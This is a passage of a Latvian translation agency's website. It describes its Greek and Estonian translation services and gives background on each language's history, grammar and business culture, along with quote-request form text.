mazāk populāru valodu kā grieķu valoda, kurā runā tikai aptuveni 13 miljoni cilvēku visā pasaulē, daudzi potenciālie valodas studenti jautā: “Vai ir grūti iemācīties grieķu valodu? ” Atbilde varētu būt – jā un nē. Viss ir atkarīgs no paša studējošā gribasspēka, apņēmības un laika resursiem. Grieķu valoda ir viena no pasaulē vecākajām valodām, kas tiek lietota arī mūsdienās. Tā ir valoda, kurā bez pārtraukuma runā jau 40 gadsimtus. 28 gadsimtus to pieraksta vienā alfabētā, un tā ir nemainīgi pieturējusies pie tiem pašiem pareizrakstības noteikumiem 24 gadsimtus. Grieķu valoda tiek ierindota 4. valodu kategorijā, tātad tā ir viena no visgrūtāk apgūstamajām valodām. Tās apguve prasīs aptuveni 44 nedēļas vai 1100 mācību stundas. Tā kā grieķu valoda nav cieši saistīta ar citām valodām, piemēram, angļu valodu, vairākas valodas īpatnības ir grūtāk apgūstamas nekā citās valodās. Tas ir vēl viens alfabēts, kuru jāiemācās lasīt un rakstīt, tā ir savādāka valodas izruna un arī gramatika ir diezgan atšķirīga. KUR UN CIK DAUDZ RUNĀ GRIEĶU VALODĀ? Kopējais runātāju skaits visā pasaulē ir vismaz 13 miljoni. Mūsdienās grieķu valoda ir oficiālā valoda Grieķijā un Kiprā, līdz ar to tā ir arī viena no oficiālajām Eiropas Savienības valodām. Grieķu valodai ir ap 3500 gadu ilga rakstos dokumentēta vēsture, kas ir ilgāk nekā jebkurai citai indoeiropiešu saimes valodai. Sengrieķu valodas restaurētās formas ir vērtējamas kā vēl daudzkārt senākas (datēšana ietiecas pat 3. gadu tūkstotī p. m. ē. ). Grieķu valoda uzskatāma par senāko Eiropas civilizācijas valodu. Kā minoritātes valodu grieķu valodu lieto Albānijā, Itālijā, Armēnijā, Ungārijā, Rumānijā, Turcijā un Ukrainā. 20. gadsimtā, kad daudzi grieķi pameta savu dzimteni ekonomisku un politisku iemeslu dēļ, grieķu migrācijas rezultātā valodas pratēju diasporas izveidojās daudzās pasaules valstīs – ASV, AAE, Austrālijā, Austrijā, Bahamās, Bulgārijā, Čehijā, Dienvidāfrikā, Džibutijā, Ēģiptē, Francijā, Gruzijā, Jordānijā, Kanādā, Kazahstānā, Kongo Demokrātiskajā Republikā, Krievijā, Lībijā, Lielbritānijā, Maķedonijā, Malāvijā, Mozambikā, Paragvajā, Polijā, Rumānijā, Tunisijā, Vācijā un Zviedrijā. Lielākie grieķu diasporu centri ir Ņujorka, Bostona, Čikāga, Losandželosa, Londona, Melburna, Sidneja, Toronto, Vankūvera, Sanpaulu, Mehiko, Buenosairesa u. c. GRIEĶU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic grieķu valodas tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, sarežģītiem tehniskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek Baltic nodrošina arī tekstu grieķu valodā korektūru un stilistisko uzlabošanu, SEO satura veidošanu. Mūsu valodas speciālisti būs priecīgi pastāstīt par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam šādus tulkojumus no un uz grieķu valodu – mājaslapu un e-komercijas satura tulkojumus, reklāmas saukļu adaptāciju, sadarbības līgumu, tiesību aktu, tiesu nolēmumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, konferencēs un citos pasākumos, Zoom vidē un citās tiešsaistes platformās. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. GRIEĶU VALODA BIZNESĀ Grieķu valoda ir oficiālā valoda, kurā runā gandrīz 11 miljoni Grieķijas iedzīvotāju. Angļu valoda ir plaši izplatīta, un to māca skolās no pamatskolas pirmās klases līdz universitātei. Grieķi ļoti vēlas apgūt svešvalodas, jaunā paaudze mēdz runāt arī vācu, itāļu, spāņu un franču valodā. Jaunie uzņēmēji brīvi pārvalda angļu valodu, bet vecākā paaudze angļu valodu var nezināt nemaz; tāpēc pirms lietišķām sarunām noteikti ir ieteicams pajautāt, vai būs nepieciešams tulks. Grieķu biznesa partneri ļoti novērtētu, ja jūs zinātu kaut dažas frāzes grieķu valodā. Spēcīgu, ilgstošu attiecību veidošana grieķiem ir svarīga. Tāpēc personīgie kontakti, ko raksturo uzticība, lojalitāte atvieglo uzņēmējdarbību un ir vitāli svarīgi veiksmīgam biznesa darījumam. Personīgās tikšanās var atvērt durvis un atrisināt problēmas, kuras citādi būtu ļoti grūti atrisināt. Vēlams labi iepazīt savus grieķu kolēģus un klientus, izrādot interesi par viņu dzīvesveidu un iesaistoties viņu sabiedriskajās aktivitātēs. Tā kā Grieķijas biznesa videi ir uz ģimeni orientēta kultūra, to raksturo mazi ģimenes uzņēmumi. Uzņēmējdarbības struktūras ir tradicionālas un parasti hierarhiskas. Grieķi ir ļoti verbāli un oratoriski. Viņiem patīk diskusijas par kultūras un vēstures tēmām. Dažkārt šīs diskusijas var kļūt emocionālas un spraigas atkarībā no tēmas. Ir ieteicams izvairīties no tādu jautājumu aktualizēšanas kā politika. Runājot, grieķi bieži vien jūs pārtrauks. Neapvainojieties, jo tā ir tikai izplatīta grieķu saziņas veida nianse. Neverbālā komunikācija ir veids, kā mūsu ķermenis runā, izmantojot žestus, kustības, acu kontaktu, sejas izteiksmes un balss intonāciju. Grieķi ļoti izteiksmīgi izmanto ķermeņa valodu, lai nodotu vēstījumu. Noteikti der zināt, ka: uzacu pacelšana ar vieglu galvas mājienu uz augšu nozīmē 'nē', savukārt galvas pagriešana uz jebkuru pusi nozīmē 'jā'; piemiegšana kādam ar aci, bieži vien ir vienkārši draudzīgs žests; pieskaršanās ir izplatīta parādība un tiek uztverta kā draudzīgs žests, tāpēc nevajadzētu justies aizvainotam; izvairieties no zīmes OK, jo tā tiek uzskatīta par neķītru. Grieķu biznesa partneriem patīk nodibināt personiskas attiecības pirms biznesa uzsākšanas. Grieķiem ir nepieciešams laiks, lai izveidotu viedokli, un sarunas parasti notiek lēni, tāpēc jums jābūt pacietīgam. Ieteicams demonstrēt savu produktu vai pakalpojumu un iesniegt apliecinošus dokumentus. Grieķi pārbaudīs jūsu zināšanas un pieredzi, tāpēc esiet tam gatavi. Sarunas nesākas pirmajā tikšanās reizē, jo pirmā tikšanās pārsvarā paredzēta iepazīstināšanai. Diskusijā un sarunu procesā dominēs vecākais cilvēks. Ir svarīgi zināt uzņēmuma hierarhiju un to, kas ir lēmumu pieņēmējs. Ārpus Grieķijas robežām grieķu valoda kā biznesa valoda netiek lietota, tā ir svarīga Grieķijā, it īpaši, lai izrādītu cieņu un interesi par potenciālā biznesa partnera valsti, valodu, kultūru un tradīcijām. Grieķi to noteikti novērtēs. LATVIJAS UN GRIEĶIJAS DIVPUSĒJĀS ATTIECĪBAS Grieķija atzina Latvijas valsti 1922. gada 23. maijā. Latvijas un Grieķijas diplomātiskās attiecības tika atjaunotas 1991. gada 2. septembrī. Grieķija nekad nav atzinusi Baltijas valstu inkorporāciju PSRS. Grieķijas vēstniecība Rīgā tika atvērta 2005. gada janvārī. Grieķijas vēstnieks Latvijā kopš 2020. gada 17. novembra ir Eftimijs Eftimjadis. Latvijā dzīvo neliels skaits grieķu izcelsmes cilvēku. (To saknes ir Melnās jūras reģionā). To kopējais skaits nepārsniedz simtu un apmēram 50 cilvēku dzīvo Rīgā. Uz doto brīdi Latvijas un Grieķijas sadarbība dažādās jomās piedzīvo tā saukto “atveseļošanās fāzi”, kas Covid – 19 pandēmijas rezultātā ir samazinājusi gan importa, gan eksporta rādītājus starp abām valstīm, kā arī sadarbību kultūras un izglītības jomās. Latvija saredz lielu perspektīvu sadarbībā ar Grieķiju enerģētikas, transporta un loģistikas jomās. Šogad tiks atzīmēta abu valstu diplomātisko attiecību dibināšanas 100. gadadiena. Sengrieķu valodas studijas Latvijā piedāvā Latvijas Universitātes Humanitāro zinātņu fakultātes Klasiskās filoloģijas nodaļa. GRIEĶU VALODAS DIENA 9. februāris 2017. gadā tika oficiāli pasludināts par Starptautisko grieķu valodas dienu, lai godinātu, atzītu un atzīmētu grieķu valodu visā pasaulē par tās ieguldījumu Rietumu civilizācijas veidošanā gadsimtu gaitā. Šis datums tika izvēlēts, jo tas ir oficiālais datums, pieminot grieķu nacionālo dzejnieku Dionīsiju Solomosu, kurš uzrakstīja Grieķijas valsts himnu “Himna Brīvībai”. Starptautiskā grieķu valodas diena, ko atzīmē 9. februārī, uzsver grieķu valodas neparasto lomu lasītprasmes, zinātnes, filozofijas un kultūras globālajā attīstībā. Tās mērķis ir veicināt izpratni par valodas nepārspējamo ietekmi uz citām rakstīšanas sistēmām visā pasaulē. Franču klasiķe un rakstniece Žaklīna deRomilija (1913. −2010. ) ir teikusi: “Ikvienam ir jāmācās grieķu valoda, jo caur grieķu valodu var saprast savu valodu”. Grieķu valodas milzīgais dziļums un bagātība ar tās plašo un poētisko vārdu krājumu – 5 miljoni vārdu un 70 miljoni vārdu veidu, ir apbrīnojams veids, lai definētu un izteiktu sarežģītas domas un emocijas. Senās grieķu valodas spēks un ietekme turpinājās vēl ilgi pēc tam, kad romieši īstenoja pilnīgu politisko kontroli pār Vidusjūru, mudinot filozofu un politiķi Marku Tulliju Ciceronu pateikt slaveno frāzi: “Ja dievi runās, viņi noteikti lietos grieķu valodu”. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM GRIEĶU VALODĀ: dažādu dokumentu tulkošana grieķu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; grieķu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi grieķu valodā; individuālie grieķu valodas kursi. GRIEĶU VALODAS KOMBINĀCIJAS: grieķu–latviešu; latviešu–grieķu; grieķu–lietuviešu; lietuviešu–grieķu; igauņu–grieķu; grieķu–igauņu; angļu–grieķu; grieķu–angļu; krievu–grieķu; grieķu–krievu; poļu–grieķu; grieķu–poļu; ukraiņu–grieķu; grieķu–ukraiņu; čehu–grieķu; grieķu–čehu; vācu–grieķu; grieķu–vācu; spāņu–grieķu; grieķu–spāņu; franču–grieķu; grieķu–franču; itāļu–grieķu; grieķu–itāļu; dāņu–grieķu; grieķu–dāņu; zviedru–grieķu; grieķu–zviedru; norvēģu–grieķu; grieķu–norvēģu; somu–grieķu; grieķu–somu, grieķu–arābu; arābu–grieķu; grieķu–armēņu, armēņu–grieķu; grieķu–baltkrievu, baltkrievu–grieķu; bulgāru–grieķu, grieķu–bulgāru; grieķu–ebreju, ebreju–grieķu, grieķu–ukraiņu; ukraiņu–grieķu, grieķu–gruzīnu; gruzīnu–grieķu; grieķu–hindi; hindi–grieķu; grieķu–holandiešu; holandiešu–grieķu; grieķu–korejiešu; korejiešu–grieķu; grieķu–kurdu; kurdu–grieķu; grieķu–ķīniešu; ķīniešu–grieķu; grieķu–portugāļu; portugāļu–grieķu; grieķu–rumāņu; rumāņu–grieķu; grieķu–slovāku; slovāku–grieķu; grieķu–slovēņu; slovēņu–grieķu; grieķu–turku; turku–grieķu; grieķu–ungāru; ungāru–grieķu u. c. --- > Dažādu dokumentu un pasākumu tulkojumi igauņu valodā. Saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs! - Published: 2017-09-29 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/ - Translation Priorities: Optional TULKOJUMI IGAUŅU VALODĀ / TULKOT IGAUŅU VALODĀ CIK MAKSĀ TULKOJUMI IGAUŅU VALODĀ? Tulkojumu cena no/uz igauņu valodu tiek noteikta katram pasūtījumam ļoti individuāli. Izcenojumus veido vairākas komponentes atkarībā no klienta vēlmēm un vajadzībām. Secīgo tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācija, kurā tulkojums būs nepieciešams. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi, tostarp notariālie apstiprinājumi u. c. pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono un secīgo) tulkojumu pakalpojumu cenrādis no/uz igauņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Tulkošanas birojs Skrivanek vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, droši sūtiet mums savu tulkojamo materiālu un mūsu projektu vadītāji ar jums sazināsies, lai vienotos par risinājumu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM IGAUŅU VALODĀ: dokumentu tulkošana igauņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; igauņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi igauņu valodā; individuālie igauņu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus igauņu valodā? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI IGAUŅU VALODĀ / TULKOT IGAUŅU VALODĀ CIK MAKSĀ TULKOJUMI IGAUŅU VALODĀ? Tulkojumu cena no/uz igauņu valodu tiek noteikta katram pasūtījumam ļoti individuāli. Izcenojumus veido vairākas komponentes atkarībā no klienta vēlmēm un vajadzībām. Secīgo tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācija, kurā tulkojums būs nepieciešams. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi, tostarp notariālie apstiprinājumi u. c. pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono un secīgo) tulkojumu pakalpojumu cenrādis no/uz igauņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Tulkošanas birojs Skrivanek vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, droši sūtiet mums savu tulkojamo materiālu un mūsu projektu vadītāji ar jums sazināsies, lai vienotos par risinājumu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM IGAUŅU VALODĀ: dokumentu tulkošana igauņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; igauņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi igauņu valodā; individuālie igauņu valodas kursi. Meklējiet valodu risinājumus igauņu valodā? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt IGAUŅU VALODA FAKTOS Igauņu valoda pieder somugru valodu saimes Baltijas jūras somu valodu grupai. Pēc zinātnieku domām, senatnē proto-somugru ciltis ir apdzīvojušas plašas teritorijas, kas robežojušās pat ar irāņu cilšu areālu tālu aiz Urālu kalniem. Taču ap 3. gadu tūkstoti p. m. ē. tās atceļojušas pie Baltijas jūras, kur sākušas veidot ciešus kultūras sakarus ar vietējām baltu ciltīm, un arheoloģiskajos pieminekļos ir atpazīstamas kā „ķemmes-bedrīšu” keramikas kultūras pārstāves. Igauņu valoda ir radniecīga lībiešu, somu un votu valodai, taču nelīdzinās kaimiņzemju – krievu, latviešu un zviedru valodai. Igauņu un somu valodas radušās, sadaloties proto-somugru ciltīm, kas saziņā izmantojušas tā dēvēto proto-somu valodu. Mūsdienu igauņu valoda ir daudz atšķirīgāka no proto-somu valodas nekā šobrīd runātā somu valoda, taču igauņu valodā saglabājušies daži tādi arhaismi, kādi somu valodā vairs nav sastopami. Igauņu valoda ir Igaunijas Republikas vienīgā valsts valoda. Valsts valodas statusu nosaka Igaunijas Republikas konstitūcija (Eesti Vabariigi põhiseadus, 1992) un Valodas likums (Keeleseadus, 2011). Kopš 2004. gada igauņu valoda ir viena no Eiropas Savienības oficiālajām valodām. Tā tiek pilnvērtīgi izmantota visās sociolingvistiskajās jomās, t. sk. valsts un pašvaldību darbībā, izglītībā, zinātnē, informācijas tehnoloģijās. Krievu valoda ir līdz šim visvairāk runātā minoritāšu valoda valstī. Krievu valodu kā otro valodu runā četrdesmit līdz septiņdesmit gadus veci etniskie igauņi. Krievu valoda bija Igaunijas PSR neoficiālā valoda no 1944. līdz 1991. gadam un padomju laikā skolās to mācīja kā obligāto valodu. Igauņu valodas reģionālie dialekti tiek iedalīti trīs grupās: ziemeļu, dienvidu un ziemeļaustrumu grupā. Dienvidu grupā tiek iekļauts Tartu apkaimes jeb Tartu dialekts, Veru apkaimes jeb veriešu dialekts un Vīlandes apkaimes jeb mulgi dialekts, bet ziemeļu grupā ‒ austrumu, vidus, rietumu un salu dialekti. Atsevišķi stāv ziemeļaustrumu dialekti, ko runā Ziemeļigaunijā Somijas līča krastā austrumos no Tallinas. Katrs dialekts tiek iedalīts izloksnēs, kuru robežas lielākoties sakrīt ar kādreizējo draudžu robežām. Vislielākās atšķirības ir starp ziemeļu un dienvidu dialektiem. Tiek uzskatīts, ka šie dialekti kādreiz bijuši atsevišķas valodas, kas baltu un ģermāņu valodu ietekmē 2. gadu tūkstotī ir satuvinājušās, un tā rezultātā radusies igauņu valoda. Dienvidigauņu un salu dialekti atšķiras no igauņu literārās valodas arī gramatiski, pārējos dialektos atšķirības novērojamas galvenokārt tikai izrunā. Visaugstākā dialektu prasme ir Dienvidigaunijā un salās Igaunijas rietumos. Mūsdienās visizplatītākais dialekts ir veriešu dialekts. Dialektu prasme ir vairāk izplatīta vecāku cilvēku vidū. Dažādi igauņu valodas paveidi tiek runāti arī ārzemēs. Arī tos var uzskatīt par reģionāliem dialektiem, jo katrs no tiem ir saistīts ar noteiktu vietu un tajā runātām vietējām valodām. Sociālā aspektā igauņu valoda ir diezgan viendabīga. Tas nozīmē, ka ikdienas sarunvaloda un normētā literārā valoda būtiski neatšķiras. Var runāt par dažādu sociālo grupu (skolēnu, cietumnieku u. c. ) valodas variantiem, taču tie galvenokārt atšķiras tikai leksiski. Lai gan igauņu rakstu valoda pastāv kopš 16. gadsimta, kad tika izdotas pirmās reliģiskās grāmatas igauniski, literārā igauņu valoda sāka īsti attīstīties 17. Un 18. gadsimtā, kad drukāto tekstu skaits palielinājās, lasītprasme pieauga un parādījās vajadzība pēc normētas valodas. Tā kā pirmās grāmatas igauņu valodā izdeva vācieši ar nolūku izplatīt luterāņu ticību, radās vajadzība pēc drukātiem materiāliem gan ziemeļigauņu, gan dienvidigauņu valodā. Tādējādi jau kopš pirmajiem rakstiem igauņu valodā uz abu dialektu grupu pamata izveidojās divas rakstu valodas: ziemeļigauņu jeb Tallinas valoda un dienvidigauņu jeb Tartu valoda. Neviena no sākotnējām rakstu valodām neattīstījās līdz pilnībā normētai literārajai valodai, taču abas tika paralēli lietotas līdz pat 20. gadsimtam. Jau kopš 18. gadsimta ziemeļigauņu rakstu valoda izplatījās plašāk un ātrāk nekā dienvidigauņu rakstu valoda, kļūstot par galveno rakstu valodu visā Igaunijas teritorijā. Viens no faktoriem, kas to ietekmēja, bija Bībeles tulkojums ziemeļigauņu valodā 1739. gadā. Bībele kļuva par igauņu rakstu valodas lietošanas paraugu līdz 19. gadsimta pirmajai pusei. 19. gadsimta sākumā pirmo reizi tika izvirzīts jautājums par abu rakstu valodu apvienošanu. Jautājums par vienotu igauņu valodu kļuva īpaši svarīgs 19. gadsimta otrajā pusē, kad nacionālās atmodas laikā bija īpaši spēcīga tautas vienotības sajūta. Līdzās jautājumam par vienotu igauņu valodu ilgi pastāvēja problēmas ar igauņu valodas pareizrakstību. Kad 19. gadsimta sākumā kļuva skaidrs, ka igauņu valoda ir radniecīga somu valodai, par igauņu valodas pareizrakstības attīstīšanas pamatu vācu valodas vietā kļuva somu valoda. Lielas pārmaiņas igauņu valodas kopšanā notika 20. gadsimta 80. gados, kad tika nolemts turpmāk pieņemt tādas normas, kuras ņemtu vērā igauņu valodas dabisko attīstību un tādējādi būtu tuvākas reāli lietotajai igauņu valodai. Mūsdienās igauņu valodas politiku vada un koordinē Igaunijas Izglītības un zinātnes ministrija (Haridus- ja Teadusministeerium). Literārās normas ir noteiktas ar Valodas likumu, kur norādīts, ka normu pamatā ir Igauņu valodas institūta (Eesti Keele Instituut) izdotā visjaunākā pareizrakstības vārdnīca, Igauņu dzimtās valodas biedrības Valodas komitejas (Emakeele Seltsi keeletoimkond) lēmumi un ieteikumi par valodas lietojumu un pareizrakstību, kā arī šīs biedrības apstiprinātā igauņu valodas normatīvā gramatika un rokasgrāmata. Pazīstamākie 19. gadsimta valodnieki, kuri aktīvi iesaistījās igauņu literārās valodas veidošanā, ir Ed. Ārenss (Ed. Ahrens), F. J. Vīdemans (F. J. Wiedemann), J. Hurts (J. Hurt) un M. Veske (M. Veske). Ap šo laiku sākās arī straujš igauņu literatūras attīstības posms. Interesanti veidojusies igauņu rakstu valoda. 19. gadsimta beigās, valodnieces M. Veskes rosināta, sākās kustība ar mērķi tā laika rakstu valodu tuvināt atsevišķu dialektu fonētiskajām īpatnībām. Šī kustība bija tik sekmīga, ka kādu laiku Igaunijā izveidojās divas paralēlas literārās valodas. Senākie aizguvumi igauņu valodā saglabājušies no baltu, ģermāņu, indoirāņu un slāvu valodām, jaunākie – no latviešu, krievu, vācu un zviedru valodām. Taču internacionālismus igauņu valodā lieto maz. IGAUŅU VALODAS ALFABĒTS Igauņu valodā tiek lietots latīņu alfabēts, kurā saglabājusies vācu valodas ietekme – trīs burti ar diakritisko zīmi – umlautu, kurus igauņu valodā uzskata par atsevišķiem burtiem (Ä, Ö, Ü) un, kas ir pielāgots igauņu valodai. Alfabētā ir šādi burti: a, b, d, e, f, g, h, i, j, k, l, m, n, o, p, r, s, š, z, ž, t, u, v, õ, ä, ö, ü. Burti f, š, z, ž tiek izmantoti tikai svešvārdos. Svešu nosaukumu un svešvalodas vārdu pierakstīšanai tiek izmantoti arī sveši burti, no kuriem parastākie ir c, č, q, w, x, y. Rakstība, ko igauņu valodā izmanto mūsdienās, tika izstrādāta 19. gadsimta otrajā pusē, un tā ir izveidota pēc somu valodas ortogrāfijas piemēra. Igauņu valodā ir 26 fonēmas: deviņi patskaņi /a, e, i, o, u, õ, ä, ö, ü/ un 17 līdzskaņi: /f, h, j, k, l, l´, m, n, n´, p, r, s, s´, š, t, t´, v/. No tiem /f/ un /š/ tiek izmantoti tikai svešvārdos, un /õ/, /ä/ /ö/ un /ü/ parādās galvenokārt vārda pirmajā zilbē. Igauņu valodā galvenais uzsvars ir uz pirmās zilbes, svešvārdos uzsvars var būt citur. Skaņas, kā arī konkrētas zilbes var izrunāt trīs dažādās kvantitātes pakāpēs (välted), kas piešķir vārdiem dažādas nozīmes. CIK SAREŽĢĪTA IR IGAUŅU VALODA? Šī valoda tiek uzskatīta par vienu no sarežģītākajām valodām pasaulē. Saskaņā ar ASV Ārlietu dienesta institūta datiem, igauņu valoda ir piektā visgrūtāk apgūstamā valoda. Īpaši tiem, kam angļu valoda ir dzimtā, šī valoda ir sarežģīta tieši atšķirīgo gramatisko iezīmju dēļ. Igauņu valodā ir trīs līdzskaņu un patskaņu garumi ─ īsi, gari un ļoti gari, un to lietošanas veids maina vārda nozīmi. Piemēram, lina igauņu valodā nozīmē veļu, bet linna nozīmē pilsētu. Igauņu valodai raksturīga bagāta locījumu sistēma: tajā ir 14 gramatiskie locījumi. Papildus mums zināmajiem locījumiem, piemēram, nominatīvs un ģenitīvs, vēl ir arī partitīvs (apzīmē kāda priekšmeta daļu, daudzumu), illatīvs (rāda virzienu – kurp? , kur iekšā? ), elatīvs (apzīmē virzienu projām, ārā), allatīvs (atbild uz jautājumu kurp? ), adesīvs (norāda atrašanos uz kaut kā), ablatīvs (no kā projām? ), esīvs (kādā vietā vai stāvoklī? ), translatīvs (norāda uz kaut kā pārtapšanu par kaut ko), komitatīvs jeb pavadonības locījums (ar ko kopā? ) un vēl terminatīvs jeb ierobežojuma locījums (norāda ierobežojumu telpā un laikā). Igauņu valodas darbības vārdam piemīt četras laika formas – viena tagadne un trīs pagātnes, bet tāda gramatiskā kategorija kā nākotne igauņu valodā nav. Tāpat darbības vārdiem igauņu valodā ir divas nenoteiksmes. Galvenais uzsvars vienmēr tiek likts uz pirmo zilbi vārdā, mazāks – uz trešo. Vārdu kārtība igauņu valodā ir diezgan brīva, teikuma jēgu var saprast arī tad, ja neievēro vārdu secību. Visiem lietvārdiem un īpašības vārdiem gan vienskaitlī, gan daudzskaitlī ir vienādas galotnes, daudzskaitļa atvasināšanai lieto īpašus piedēkļus. Viens un tas pats vietniekvārds apzīmē abas dzimtes, jo dzimtes igauņu valodā neizdala. Igauņu valodā nav vispārākās pakāpes, gradācijas izteikšanai lieto pastiprināmās partikulas vārda beigās. Šajā valodā ir īpaša atstāstījuma izteiksme un negatīva konjugācija, taču nav ar priedēkļiem saliktu darbības vārdu, jo igauņu valodā prievārdu nav. Tieši tādēļ ir tik daudz gramatisko locījumu. Ja igauņu valoda ir piektā grūtāk apgūstamā valoda, tad somu valoda – sestā. Tādējādi abas valodas ir salīdzinoši vienkārši saprast un apgūt gan igauņiem, gan somiem. Igauņu valodu ir vieglāk apgūt somu valodā runājošajiem šādu iemeslu dēļ: reģionālā ietekme: Somija ir kaimiņvalsts, līdz ar to var novērot kultūras līdzības starp abām valstīm un valodu; gan somu, gan igauņu valodas pieder urālu valodu saimei; igauņu valodā ir 14 gramatiskie locījumi, bet somu valodā – 15; abās valodās ir patskaņi, kas nav raksturīgi angļu valodā, tāpēc somu valodā runājošajiem ir vieglāk pielāgoties igauņu valodai. IGAUŅU VALODAS TULKS UN TULKOTĀJS Mūsu profesionālo tulku un tulkotāju komanda nodarbojas gan ar tipveida dokumentu rakstiskajiem tulkojumiem, tehniskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu igauņu valodā korektūru un stilistisko uzlabošanu. Protams, valodas speciālisti var sniegt informāciju par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Tulkojamā materiāla tematiskais spektrs no/uz igauņu valodu ir ļoti plašs, ņemot vērā aktīvo abu valstu sadarbību dažādās jomās – biznesa, ekonomikas, izglītības, kultūras u. c. Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz igauņu valodu – e-komercijas satura un mājaslapu tulkojumus, reklāmas saukļu, SEO tekstu, Google atslēgas vārdu, mārketinga tulkojumus, sadarbības līgumu, uzņēmējdarbības dokumentāciju, tiesu dokumentu (krimināllietu, civillietu un administratīvo lietu) tulkošanu. Veicam arī secīgo un sinhrono tulkošanu lietišķās vai cita veida sarunās, konferencēs un citos pasākumos. Sadarbojamies arī ar valsts 